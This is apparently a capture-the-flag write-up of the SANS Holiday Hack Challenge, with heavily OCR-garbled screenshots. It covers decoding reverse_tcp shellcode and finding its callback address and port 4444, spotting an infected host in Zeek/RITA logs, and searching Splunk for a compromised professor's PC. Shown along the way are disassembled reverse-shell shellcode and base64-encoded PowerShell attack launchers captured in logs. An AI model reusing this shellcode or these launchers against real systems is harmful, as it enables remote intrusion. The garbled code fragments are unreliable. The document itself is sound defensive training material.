Edit View Search Edit View Search 1083 5A 1084 8812 1086 EB8D 1088 5D 1088 6833320000 1088 687773325F 1093 54 1094 684C772607 1099 8958 1099 FFD0 1099 B890010000 1094 54 1094 54 1095 50 1086 6829806B00	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 push esp push dword 0x726774c mov eax,0x190 sub esp,eax push eax push eax push eax	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Edit View Search 1936052 Edit View Search 1083 5A 1084 8812 1086 EB8D 1088 5B 1088 6833320000 1088 6833320000 1088 687773325F 1093 54 1089 6833220000 1088 687773325F 1093 54 1089 FED0 1099 B890010000 1098 FED0 1099 B890010000 1094 6829806B00 1094 6829806B00 1094 6829806B00 1094 6829806B00 1094 6829806B00 1094 54 1095 50 1094 6829806B00 1094 54 1095 50 1094 6829806B00 1094 54 1095 50 1094 6829806B00 1094 54 1095 50 1094 54 1095 50 1094 54 1095 50 1094 54 1095 50 1094 54 1095 50 1095 50 1	not:~/working\$ cat psh2.be not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 push esp push dword 0x726774c mov eax,0x190 sub esp,eax push eax push eax push eax push eax push dword 0x6b8029 call ebp nush byte ±0xa	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Ingshot@slings Ingshot@slingshot@slingshot@slings	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sline Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 push esp push dword 0x726774c mov eax,0x190 sub esp,eax push eax push dword 0x6058029 call eax push dword 0x605608029 call ebp push dword 0x8056608c0	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Edit View Search 083 5A 084 8812 086 EB8D 088 5D 088 633320000 088 6833220000 088 687773325F 099 54 099 684C772607 099 89E8 0998 FFD0 099 B890010000 0998 6829806B00 0946 6829806B00 0946 6829806B00 0947 68C0A85680 0048 680200115C	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp,eax push eax push dword 0x6b8029 call ebp push dword 0x8056a8c0 push dword 0x5c110002 mou cit orp</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Ingshot@slings Ingshot@slingshot@slingshot@slings	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm rerminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp,eax push esp push dword 0x6b8029 call ebp push dword 0x6b8029 call ebp push dword 0x8056a8c0 push dword 0x6b805a8c0 push dword 0x5c110002 mov esi,esp push eax</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Ingshot@slings Ingshot@slingshot@slingshot@slings	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sline Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp,eax push eax push dword 0x6b8029 call ebp push dword 0x6b8029 call ebp push dword 0x8056a8c0 push eax	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
ngshot@slings ngshot@slings ngshot@slings edit View Search 3083 5A 3084 8B12 3086 EB80 3088 5D 3088 6B33320000 3088 687773325F 3093 54 3094 6842772607 3098 FED5 3098 FED5 3098 FED5 3098 FED5 3098 FED5 3040 6A0A 3045 50 3040 6A0A 304F 68C0A85680 3040 6A0A 304F 68C0A85680 3040 6A0A 304F 68C0A85680 3040 6A0A 304F 68C0A85680 3040 6A0A 304F 68C0A85680 3040 6A0A 304F 68C0A85680 3040 50 3040 50 50 3040 50 50 3040 50 50 50 50 50 50 50 50 50 50 50 50 50 5	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm rerminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp,eax push dword 0x6b8029 call ea push dword 0x6b8029 call ebp push dword 0x6b8029 call ebp push dword 0x8056a8c0 push eax push eax push eax push eax</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
Ingshot@slings ngshot@slings ngshot@slings ngshot@slings edit View Search 0084 812 0086 EB80 0088 50 0089 6833320000 0088 687773325F 0099 54 0099 6842772607 0099 8926 0094 6842772607 0099 8926010000 0084 50 0094 6829806B00 0084 6820801000 0084 6820801000 0084 680200115C 0089 8960 0089 50 0089 50 0089 50 00895 50 00895 50 00895 50 00895 50 00895 50 00895 50 00895 50 00895 50 00895 50	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sline Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,0x190 sub esp,eax push eax push dword 0x6b8029 call eax mov eax,0x190 sub esp,eax push dword 0x6b8029 call ebp push dword 0x8056a8c0 push dword 0x8056a8c0 push dword 0x8056a8c0 push eax push eax push eax push eax	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	
ngshot@slings ngshot@slings ngshot@slings edit View Search 0083 5A 0084 8B12 0086 EB8D 0088 5D 0089 6833320000 008E 687773325F 0093 54 0094 684C772607 0099 89E8 0098 FFD0 0090 89260 0090 8920010000 0044 54 0045 50 0046 6829806B00 0044 54 0045 50 0046 6829806B00 0048 FFD5 0040 604 0046 50 0085 50 0086 50 0087 40 0074 40	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm rerminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp, eax push dword 0x6b8029 call eax push dword 0x6b8029 call ebp push dword 0x6b8029 call ebp push dword 0x8056a8c0 push dword 0x8056a8c0 push dword 0x5c110002 mov esi,esp push eax push eax</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	

The "push dword" line at offset "AF" contains the destination ip address the reverse_tcp payload will call back to "0x8056a8c0", which reversing the little-endian order will yield:

0xc0 = 1920xa8 = 168 0x56 = 86 0x80 = 128 192.168.86.128

The "push dword" at offset "B4" contains the destination port in the high order word "5c11" which reversing little-endian is:

0x115c = 4444



Objective 5 – Network Log Analysis: Determine Compromised System

Everything needed to complete this objective is provided in the badge description for Objective 5 and dialog from Sparkle Redberry:

Sparkle Redberry

View Search Terminal Hel

For objective 5, have you taken a look at our Zeek logs? Something's gone wrong. But I hear someone named Rita can help us. Can you and she figure out what happened?

A link is included to download the Zeek logs (<u>https://downloads.elfu.org/elfu-zeeklogs.zip</u>). Once downloaded, unzip it into a directory for analysis. As before, there are several tools and methods that could have been used to parse these log files which are in a table format broken out by traffic type, and not in JSON, XML, nor evtx format. I chose to use a combination of Linux command line tools to parse these files.

The conn*.log and files*.log files appear to contain the relevant ip connection related data and using the following command will produce the source ip address with the highest number of network connections, indicating this host is likely the one that is malware infected.

cat conn.log* files.log*	sed "s/\s\+/ /g" cut -f 3-6 -d ' ' sort	uniq cut -f 1 -d ' '
sort -n -tk 1,1 -k 2,2	-k 3,3 -k 4,4 uniq -c sort -n tail -5	

After a few seconds, the following output is generated showing that ip address **192.168.134.130** with 165169 entries in these logs:

slingshot@slingshot: ~/working/elfu-zeeklogs File Edit View Search Terminal Help

Additionally, there is a RITA (<u>https://www.blackhillsinfosec.com/projects/rita/</u>) report in the /elfu-zeeklogs/ELFU/ directory. Examining this data, also confirms that source ip address 192.168.134.130 has the greatest number of beaconing connections:

slingshot@slingshot: ~/working/elfu-zeeklogs/ELFU

 rwxrwxrv slingshot 	vx 1 slingshot slin t@slingshot:~/worki	gshot 1506 Aug 24 ng/elfu-zeeklogs/EL	09:43 style.cs FU\$ firefox inc	s dex.html 📘											
_	1. 5														
0					Mozilla	Firefox									
<u>F</u> ile <u>E</u> d	it <u>V</u> iew Hi <u>s</u> tory <u>E</u>	<u>s</u> ookmarks <u>T</u> ools <u>H</u>	elp												
/home/sli	ngshot/working/el ×	+													
	C û	(i) file:///home/sli	ngshot/working/e	lfu-zeeklogs/ELFU/	ELFU/beaco	ns.html					•••	⊠ ☆		lii\ C] ()
	RITA Viewing	: ELFU Beacons	Strobes	DNS BL Sou	irce IPs	BL Dest. IF	Ps Bl	L Hostna	mes L	ong Con	nections	User	Agents	RIT	A on
Score	Source	Destination	Connections	Avg. Bytes	intvi. Range	Size Range	Intvi. Mode	Size Mode	intvi. Mode Count	Size Mode Count	intvi. Skew	Size Skew	intvi. Dispersion	Size Disp	persion
0.998	192.168.134.130	144.202.46.214	7660	1156.000	10	683	10	563	6926	7641	0.000	0.000	0	0	
0.847	192.168.134.131	150.254.186.145	684	13737.000	8741	2244	1	698	54	356	0.000	0.000	0	0	-
0.847	192.168.134.132	150.254.186.145	684	13634.000	37042	2563	1	697	58	373	0.000	0.000	0	0	
0.840	192.168.134.135	150.254.186.145	345	12891.000	1	2097	1	694	31	181	0.000	0.000	0	0	
0.835	192.168.134.133	45.55.96.63	132	1268.000	9	49	1	658	39	68	0.000	0.000	0	0	
0.835	192.168.134.133	69.4.231.30	115	4135.000	2	105	1	684	35	58	0.000	0.000	0	0	
0.835	192.168.134.135	52.242.211.89	49	572.000	1170	2766	1680	153	37	40	0.000	0.000	0	0	
0.835	192.168.134.134	216.17.109.252	63	92.000	2	0	3	52	7	63	0.000	0.000	0	0	
0.834	192.168.134.132	52.179.224.121	47	379.000	643	153	1680	153	29	37	0.000	0.000	0	0	
0.834	192.168.134.134	52.177.166.224	46	541.000	471	2378	1680	153	28	36	0.000	0.000	0	0	

And the highest duration of Long Connections:

nu the light	est duration of Long Co	intections.	
		Mozilla Firefox	\odot
home/slingshot/working	g/el × +		
← → ♂ ŵ	i file:///home/slingshot/working/	elfu-zeeklogs/ELFU/ELFU/long-conns.html	··· 🗸 🕅 🖽 🕲
	Viewing: ELFU Beacons Strobes	DNS BL Source IPs BL Dest. IPs BL Hostnames	s Long Connections User Agents RITA on G
Source	Destination	DstPort:Protocol:Service	Duration
192.168.134.130	148.69.64.76	443:tcp:-, 443:tcp:ssl	1035.9001
192.168.134.133	52.197.126.208	443:tcp:-, 443:tcp:ssl	531.6659
192.168.134.132	178.172.160.4	443:tcp:-, 443:tcp:ssl, 80:tcp:-, 80:tcp:http	531.5994
192.168.134.133	104.20.54.254	443:tcp:-, 443:tcp:ssl	527.3385
192.168.134.132	104.20.123.103	443:tcp:-, 443:tcp:ssl	526.3489
192.168.134.134	104.22.1.144	443:tcp:-, 443:tcp:ssl	526.3439
192.168.134.131	104.19.241.95	443:tcp:-, 443:tcp:ssl	526.3432
192.168.134.132	104.16.56.24	443:tcp:-, 443:tcp:ssl	526.3409
192.168.134.134	104.25.168.15	443:tcp:-, 443:tcp:ssl	526.34
192.168.134.133	104.16.1.78	443:tcp:-, 443:tcp:ssl	526.3397
192.168.134.132	104.26.1.248	80:tcp:http, 443:tcp:ssl, 443:tcp:-	526.3397
192.168.134.131	104.16.89.20	443:tcp: 443:tcp:ssl	526.3362

Submit

The answer to Objective 5 needed for the badge question is the string: **192.168.134.130**

5) Network Log Analysis: Determine Compromised System

Difficulty: 🖊 🌲

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these <u>Zeek logs</u>? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

192.168.134.130

5) Network Log Analysis: Determine Compromised System

Difficulty: 📕 🌲

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these <u>Zeek logs</u>? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

Congratulations! You have completed the Network Log Analysis: Determine Compromised System challenge!

Objective 6 – Splunk

Everything needed to complete this objective is provided in the badge description for Objective 6 and dialog from Professor Banas:

Professor Banas

Hi, I'm Dr. Banas, professor of Cheerology at Elf University.

This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock! I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC.

Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!

If I don't, he will have to report the incident to the boss of the SOC.

Apparently, I can find out more information from this website https://splunk.elfu.org/ with the username: elf / Password: elfsocks. I don't know anything about computer security. Can you please help me?

A link is included to a separate web site at: <u>https://splunk.elfu.org/</u>. This is a Splunk web console which requires authentication and the Professor Banas character in the Hermey Hall Laboratory provides an incident summary and the credentials needed to access this Splunk console (username: elf / Password: elfsocks).

Upon logging in, we're greeted with an introduction to this challenge:

The Search for Holiday Cheer Challenge

- . Your goal is to answer the **Challenge Question**. You will include the answer to this question in your HHC write-upl 2. You **do not** need to answer the training questions. You may simply search through the Elf U SOC data to find the answ to the final question on your own.
- If you need some guidance, answer the training questions! Each one will help you get closer to the answering the Challenge Question.
- 4. Characters in the SOC Secure Chat are there to help you. If you see a blinking red dot next to a character, click on them and read the chat history to learn what they have to teach you! And don't forget to scroll up in the chat history!
- 5. To search the SOC data, just click the Search link in the navigation bar in the upper left hand corner of the page.
- This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.
 WARNING This is a defensive challenge. Do not attack this system, web application, or Clack-end APIs. Thank you!

7. WARNING This is a defensive challenge. Do not attack this system, web application, or back-end APIs. Thank you!

After dismissing the intro message above, we see a chat window on the left and a list of 8 questions to answer on the right. The chat window has three online active users: "Alice Bluebird", "Kent", & "#ELFU SOC".

Elf University SOC		
SOC Secure Chat		
Alice Bluebird	Chat with Alice Bluebird 18 messages	
Buddy Bellsbee online	Alice Bluebird	
Cosmo Jingleberg online	hey hey	Guest (me)
Fisbee O'Mittens Fisbee O'Mittens	Hiya Alice	
Kent Online	Alce Bluebrd I see you've met Kent	
Mcfluffy Battings online	B briefly. He seems_frustrated	Guest (me)
Zippy Frostington online	Alice Bluebird	
#ELFU SOC B members	Pretty accurate. He's been here a long time and he struts around like some sort of cyber-peacock	
Guest (me) online	Ance Buebed Some time (preferably over good eggnog) [1] tell you about his horrible opsec, too	
	The first rule of Elf U SOC is "scroll up!" ^^	

Alice Bluebird sets up the goals for this challenge in her chat dialog which is show here below and also providing the direct link to the Splunk search and a separate AWS link where the File Archive is kept:

Chat with Alice Bluebird 18 messages

Alice Bluebird hey hey...

Guest (me) Hiya Alice

Alice Bluebird I see you've met Kent

Guest (me) briefly. He seems...frustrated

Alice Bluebird

Pretty accurate. He's been here a long time and he struts around like some sort of cyber-peacock

Alice Bluebird

Some time (preferably over good eggnog) I'll tell you about his horrible opsec, too

Alice Bluebird

Suffice to say we have adversaries poking fun at him during attacks. JML

Guest (me) JML?

Alice Bluebird jingle my life

Guest (me) LOL!

Alice Bluebird So Cosmo, Zippy, and I have a good handle on what went down with Professor B's system

Guest (me) ah, gotcha

Alice Bluebird

But we can always use good analysts here in the SOC, so if you can figure it out, we'll put in a good word with the boss of the SOC.

Guest (me) Let's do this!

Alice Bluebird

Okay. Your goal is to find the message for Kent that the adversary embedded in this attack.

Alice Bluebird

If you think you have the chops for that, don't let me slow you down. Get searching and enter the Challenge Question answer when you've found it.

Alice Bluebird

You'll need to know some things, though:

We use Splunk, so click <u>here</u> or hit the Search link in the navigation up above to get started. I copied some raw files <u>here</u> or click the File Archive link in the navigation. (You'll find some references to the File Archive contents in Splunk)

You'll need to use both of these resources to answer the Challenge Question!

Alice Bluebird

Don't worry though, I can get you started down the right path with a few hints if you need 'em. All you have to do is answer the first training question. If you've read all the chat windows here, you already have the answer ;-)

The first rule of Elf U SOC is "scroll up!" ^^

Next is the chat with Kent which is not very helpful and he refers you to the "#ELFU SOC" chat channel:

Chat with Kent 7 messages

> Guest (me) Hi Kent :-)

Kent Hi yourself.

Guest (me)

I ran into Professor Banas. He said you contacted him about his computer being hacked?

Kent

Oh, well lots of analysts try to make it here in the ELF U SOC, but most of them crack under the pressure

Guest (me) Well, can I help?

Kent

You can try. Go check out #ELFU SOC. Maybe someone there will have time to bring you up to speed. Here's a tip, click on those blinking red dots to the left column and read very carefully.

Guest (me) Thanks???

The first rule of Elf U SOC is "scroll up!" ^^

Lastly is the #ELFU SOC channel, which provides the answer to Training Question #1:

Chat with #ELFU SOC 5 messages

Cosmo Jingleberg Hey did you all see that beaconing detection from RITA?

Zippy Frostington Yep. And we have some system called 'sweetums' here on campus communicating with the same weird IP

Alice Bluebird

Gah... that's Professor Banas' system from over in the Polar Studies department

Guest (me) That's why I'm here, actually...Kent sent me to this channel to help with Prof. Banas' system

Alice Bluebird smh...I'll DM you

So now that we have sufficient background and context, we can use Splunk searches to answer the training questions:

Training Question #1:

What is the short host name of Professor Banas' computer?

The answer to this is in the #ELFU SOC chat channel where Zippy Frostington identified it as "sweetums" Answer: sweetums

Results

Training Question #2:

What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

Using the provided Splunk search link: <u>https://splunk.elfu.org/en-US/app/SA-elfusoc/search</u> search on: "*sweetums*", "*sweetums powershell*" and "*sweetums C*:*Users**cbanas*"

You will find the following entries:

i	_time	source 0	EventCode 0	host 0	ComputerName ©	sourcetype 0	
~	8/25/19 5:19:14.000	WinEventLog:Microsoft-Windows- Powershell/Operational	4103	sweetums	sweetums.elfu.org	WinEventLog:Microsoft-Windows- Powershell/Operational	
	РМ						
	08/25/2019 0 LogName=Micr	9:19:14 AM osoft-Windows-PowerShell/Operational					
	SourceName** EventCode=41	ticrosoft-Windows-PowerShell 03					
	EventType=4 Type=Informa	ition					
	ComputerName User=NOT_TR/	≔sweetums.elfu.org NSLATED					
	Sid=S-1-5-21 SidType=0	-1217370868-2414566453-2573080502-1004					
	TaskCategory OpCode=To be	"Executing Pipeline e used when operation is just executing a method					
	RecordNumber Keywords=Nor	=417607 Je					
	Message=Com ParameterBir	andInvocation(Select-String): "Select-String" ddig(Select-String): name="Path"; value="C:\Users\cl	banas\Documents\Naughty_a	and_Nice_2019_draft	txt"		
	ParameterBir	ding(Select-String): name="Pattern"; value="Santa"					
	Context:						
	Host	Name = Default Host					
	Host	: ID = 060f91d4-ff5b-4672-976c-acf67e766583 : Application = newershall =new states = 1 =nec 500566	TABOATMAYAR] AUTALMANA	RAT-RUNGE (OPRIMAGUA)	-ROAFMAV-REAFTARTAERAH-RIVAER		
	BIAGYAXQAuAE	EAUNBZAEUATQBCAGWA@QAUAECARQBUAFQA@QBQAEUAKAAnAFMA@ BALGUA7ARHAHTAhwR1AHAAUARVAGWABQR1AHAAUNR1AHQAdARoAA	QBZAHQAZQB1AC4ATQBhAG4AYO G447wBz4Cc44 Abn4F44Tw4z40	(BnAGUAbQB1AG4AdAAu)	LEEAdQB8AG8AbQ8hAHQAaQ8vAG4ALgB CEEAdQB8AG8AbQ8hAHQAaQ8vAG4ALgB	VAHQAaQBSAHMAJWAPACAAIgBHAELAAABGAGKARQBgAEwAZAAIAC ASPRGAIroy AIRMAFAABraknaHka TABHAFAADwAAAIrOJBWRDAFYAI o	
	BHAGUAVABWAE	EAbAB1AEUAKAAkAG4AVQB5AEwAKQA7AEKAZgAoACQARwBQAEMAW BUAGCAJwBdAF5AJwBFAG4AYOB1AGwAZOBTAGMAcgBoANAAdABCAG	MANAFMAYWBYAGKACAB®AEIAJ CCAKwAnAGwAbwB1AGsATAByAG	AFACcAbABvAGMAawBM	VG8AZwBnAGkAbgBnACcAXQApAHsAJAB	HAFAAQwBbACcAUwBJAHTAaQBwAHQAQgAnACsAJwBsAG8AYwBrAE AaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJw	
~	8/25/19	WinEventi on Microsoft Windows	4103	russelume	rweetum: elfu ern	WinSupplion:Microsoft Mindows.	
	5:19:14.000 PM	Powershell/Operational	4103	sweetunis	sweetums.enu.org	Powershell/Operational	
	08/25/2019 0	19:19:14 AM					
	LogName=Micr SourceName=M	osoft-Windows-PowerShell/Operational Microsoft-Windows-PowerShell					
	EventCode=41 EventType=4	03					
	Type=Informa ComputerName	ition sweetums.elfu.org					
	User=NOT_TR/ Sid=S-1-5-21	NSLATED -1217370868-2414566453-2573080502-1004					
	SidType=0 TaskCategory	=Executing Pipeline					
	OpCode=To be RecordNumber	e used when operation is just executing a method =417614					
	Keywords"Nor Message"Com	e andInvocation(Get-ChildItem): "Get-ChildItem"					
	ParameterBir	ding(Get-ChildItem): name="Recurse"; Value="Fue" ding(Get-ChildItem): name="Path"; value="C:\Users\c ding(Get-ChildItem): name="File"; value="Taus"	banas*				
	CommandInvoc	aling(Get-Childlen): name= File ; Value= File ation(ForEach-Object): "ForEach-Object" disg(EacFick_Chiest): seme="Decesses": uplue="Scloot	Chains math #	n fanta?			
	ParameterBir	<pre>ding(forEach-Object): name="InputObject"; value="Mi ding(ForEach-Object): name="InputObject"; value="Mi ding(ForEach-Object): name="InputObject"; value="Na</pre>	crosoft Edge.lnk" wrbty and Nice 2019 draf	t tyt"			
	ParameterBir ParameterBir	<pre>ding(ForEach-Object): name="InputObject"; value="19 ding(ForFach-Object): name="InputObject"; value="as</pre>	th Century Holiday Cheer	Assignment.doc*			
	ParameterBir ParameterBir	ding(forEach-Object): name="InputObject"; value="Bi ding(forEach-Object): name="InputObject"; value="De	ng.url" sktop.lnk"				
	ParameterBir ParameterBir	<pre>iding(ForEach-Object): name="InputObject"; value="Do ding(ForEach-Object): name="InputObject"; value="wi</pre>	wnloads.lnk" nrt{S-1-5-21-121737086	18-2414566453-25730	10502-1004)searchconnector-ms		
	Context: Seve	rity = Informational					
	Host Host	Name = Default Host Version = 5.1.17134.858					
	Host Host	: ID = 060f91d4-ff5b-4672-976c-acf67e766583 : Application = powershell -noP -sta -w 1 -enc SQBGA	CgAJABQAFMAVgBlAHIAUw8p4	GBATgBUAGEAQgBMAGU	LgBQAFMAVgBFAFIAcwBJAE8AbgAuAE	8AQQBKAG8AcgAgAC8AZmBFACAAMmApAHsAJABHAFAARgA9AFsAUg	
	gAJwBjAGEAYv	ENUMDZAEUNI QOLANMARQAWAE CARQOUAR QARQOUAR QARQOUAR AANAR MAR BOAGUAZABHAHIAbwBIAHAAUABVAGwAaQBJAHKAUWBIAHQAdABpA	G4AZwBzACcALAAnAE4AJwArA	CCAbwBuAFAAdQB1AGwA	INEE HOLOONING H	ovangeagosanna Jwapacaa igoneoadabaagagaagaagaagaagaaga IsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALg	
i	_time	source 0	EventCode ¢	host ¢	ComputerName ¢	sourcetype ¢	
~	8/25/19 5:19:20.000	WinEventLog:Microsoft-Windows- Powershell/Operational	4103	sweetums	sweetums.elfu.org	WinEventLog:Microsoft-Windows- Powershell/Operational	
	PM						
	08/25/2019 0 LogName=Micr	9:19:28 AM osoft-Windows-PowerShell/Operational					
	EventCode=41	ICTOSOTT-WINDOWS-POWErShell 03					
	Type=Informa	tion					
	User=NOT_TRA SideS=1=5=21	-3466C0815.0110.012 NSLATED -1217370868-2414566453-2573080502-1004					
	SidType=0 TaskCaterory	=Executing Pipeline					
	OpCode=To be RecordNumber	used when operation is just executing a method =417616					
	Keywords*Non Message*Comm	e andInvocation(Stop-AgentJob): "Stop-AgentJob"					
	CommandInvoc	ation(Format-List): "Format-List" ation(Out-String): "Out-String"					
	ParameterBin ParameterBin	<pre>ding(Stop-AgentJob): name="JobName"; value="4VCUDA" ding(format-List): name="InputObject"; value="C:\Use</pre>	ers\cbanas\Documents\Nau	hty_and_Nice_2019_c	iraft.txt:1:Carl, you know ther	e's no one I trust more than you to help. Can you	
	have a look ParameterBin	at this draft Naughty and Nice list for 2019 and lef ding(Out-String): name="InputObject"; value="Microso	t me know your thoughts? oft.PowerShell.Commands.1	-Santa" Internal.Format.Form	atStartData"		
	ParameterBin ParameterBin	<pre>ding(Out-String): name="InputObject"; value="Microso ding(Out-String): name="InputObject"; value="Microso</pre>	oft.PowerShell.Commands.I oft.PowerShell.Commands.I	Internal.Format.Grou Internal.Format.Form	apStartData" natEntryData"		
	ParameterBin ParameterBin	<pre>ding(Out-String): name="InputObject"; value="Microso ding(Out-String): name="InputObject"; value="Microso</pre>	oft.PowerShell.Commands.I oft.PowerShell.Commands.I	Internal.Format.Grou Internal.Format.Form	ipEndData" iatEndData"		
	Context: Seve	rity = Informational					
	Host	Name = ConsoleHost Version = 5.1.17134.858 TD = c444f409-o4bo-450c-bf04-07206-07112b					
	Host Blagyaxou	Application = powershell -noP -sta -w 1 -enc SQB5AC EAUwBZAEUATOBCAGwAe0AuAECARORUAECIARORUA	CgAJABQAFMAVgBlAHIAUwBpA0 382AH0AZ08tAC44T0Rh4G4AW	SBATgBUAGEAQgBMAGUAL BENAGUADOB14G44444	gBQAFMAVgBFAFIAcmBJAE8AbgAuAE8	AQQBKAG8AcgAgAC8AZWBFACAAMwApAHsAJABHAFAARgASAFsAUg VAHDAa0BsAHMAJWApAC4AIg8HAEHindasGabkaROReafga7aaiac	
	gAJNBjAGEAYN BHAGUAVABWAF	BOAGUAZABHAHIAbwBIAHAAUABVAGwAaQBJAHKAUwBIAHQAdABpAC EAbABIAEUAKAAkAG4AVQBSAEwAKOA7AEkAZ#AoACOAR~POAEMaw	34AZwBZACcALAAnAE4AJwArAG wAnAFMAYwByAGkAcABBAFT4Te	CAbwBuAFAAdQB1AGwAa	IQBJACwAUwBBAGEAdABpAGMAJwApADs IGBAZwBnAGkAbgBnACcAX0ApAHsATAB	ASQBGACgAJABHAFAARgApAHSAJABHAFAAQwA9ACQARwBQAEYALg HAFAAQwBbACcAJJwBJAHITA90BwAHQAQxAnACSAJJwBSAGBAYWRrAF	
	wAbwBnAGcAaQ BdAFsAJwBF40	BUAGCAJWBdAFsAJWBFAG4AYQB1AQwAZQBTAQMAcgBpAHAAdABCAQ 4AYQB1AGwAZQBTAGMAcgBpAHAAdABCAQwAbwB1AGQASDB+AHYA4w	CCAKwAnAGwAbwBjAGsATABvAG BjAGEAdABbAG8AbxBMAG847	CAZwBpAG4AZwAnAF0AF BnAGkAbzBnACcAX049	QAwADSAJABHAFAAQwBbACcAUwBjAHI IDAAFQAKAHYAYOBSAD0AWwRDAF&*TAB	AaQBwAHQAQgAnACsAJwBsAQ8AYwBrAEwAbwBnAGcAaQBuAGcAJw sAEUAYwBUAGkAbwBOAHMALgBHAEUAbgB1AFTAarBnac.daRaR1aF	
	MEVER TACRETO	RRIUTLANRAIFMLHIR-JEVIT-RUIC-JILRRIFMIVIRFICOII+RDIA	TANERT INMIVIRALFOINMIELD	41708VLC+1V017LC014	011-9701-11-110101989-11-01899-	AVeR-101215-RELIUTIONROJUNIN-INITEITUR-1081V-R-10535-	
						100°	
A	nswe	r: <mark>C:\Users\cbanas</mark>	\Docume	ents\Na	aughty_and	_Nice_2019_draft.	txt
			-		and the second s		
	Resu	lts					

Training Question #3: What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

0				19				
			Dat	e time range 🔹 🔍				
> Pres	sets							
> Rela	e Range							
✓ Date	e & Time Range							
Be	tween ▼ 08/25/20	19 17:18:50.000 HH:MM:SS.SSS	and 08/25/2019	17:20:00.000 HH:MM:SS.SSS Apply				
> Adv	anced							
i _time	source ¢ Ev	entCode ≎ 📗 host ≎ 👘 Compu	terName © sourcetype ©	process_name Process_C	ommand_Line 🌣 📗 TargetFilename 🗧	dest_ip \$		
 ✓ 8/25/19 5:18:50 	WinEventLog:Microsoft- 3 000 Windows-	sweetums	XmlWinEventLog:Microso Windows-	n- powershell.exe		144.202.46.214		
<event </event 	xmlns='http://schemas.microsoft.co <opcode>0</opcode>	m/win/2004/08/events/event'> <sys 0000000000000<timecre:< td=""><td><pre>systemCoperational item><provider 2019-08-25t17:18:1<="" name="Microsoft-Wind ated SystemTime=" pre=""></provider></pre></td><td>lows-Sysmon' Guid='{5770385F-C22A-43 50.642790200Z'/>EventRecordID>16431</td><td>E0-BF4C-06F5698FFBD9}'/><eventid>3< 3<correlation></correlation>Exe</eventid></td><td><pre>K/EventID><vers cution="" pre="" process<=""></vers></pre></td><td></td><td></td></timecre:<></sys 	<pre>systemCoperational item><provider 2019-08-25t17:18:1<="" name="Microsoft-Wind ated SystemTime=" pre=""></provider></pre>	lows-Sysmon' Guid='{5770385F-C22A-43 50.642790200Z'/>EventRecordID>16431	E0-BF4C-06F5698FFBD9}'/> <eventid>3< 3<correlation></correlation>Exe</eventid>	<pre>K/EventID><vers cution="" pre="" process<=""></vers></pre>		
crosoft -08-23 '>SWEET Name='S e='Dest	t-Windows-Sysmon/Operational15:07:16.850CData Name"'Prot CURS\cbanasCData Name"'Prot SourcePort'>59458CData Name LinationPort'>8080CData Name	el> <computer>sweetums.elfu.org<!--<br-->cessGuid'>(EBF7A186-C6EB-5DD6-00 col'>tcpCData Mame"Initi 'SourcePortName'>CData Na e"DestinationPortName'><!--</td--><td>Computer><security userid="S-1-5-1
00-0010C6D50D04)</Data>CData Name=
ated">true<data destinationisipv6'="" name="Sourc
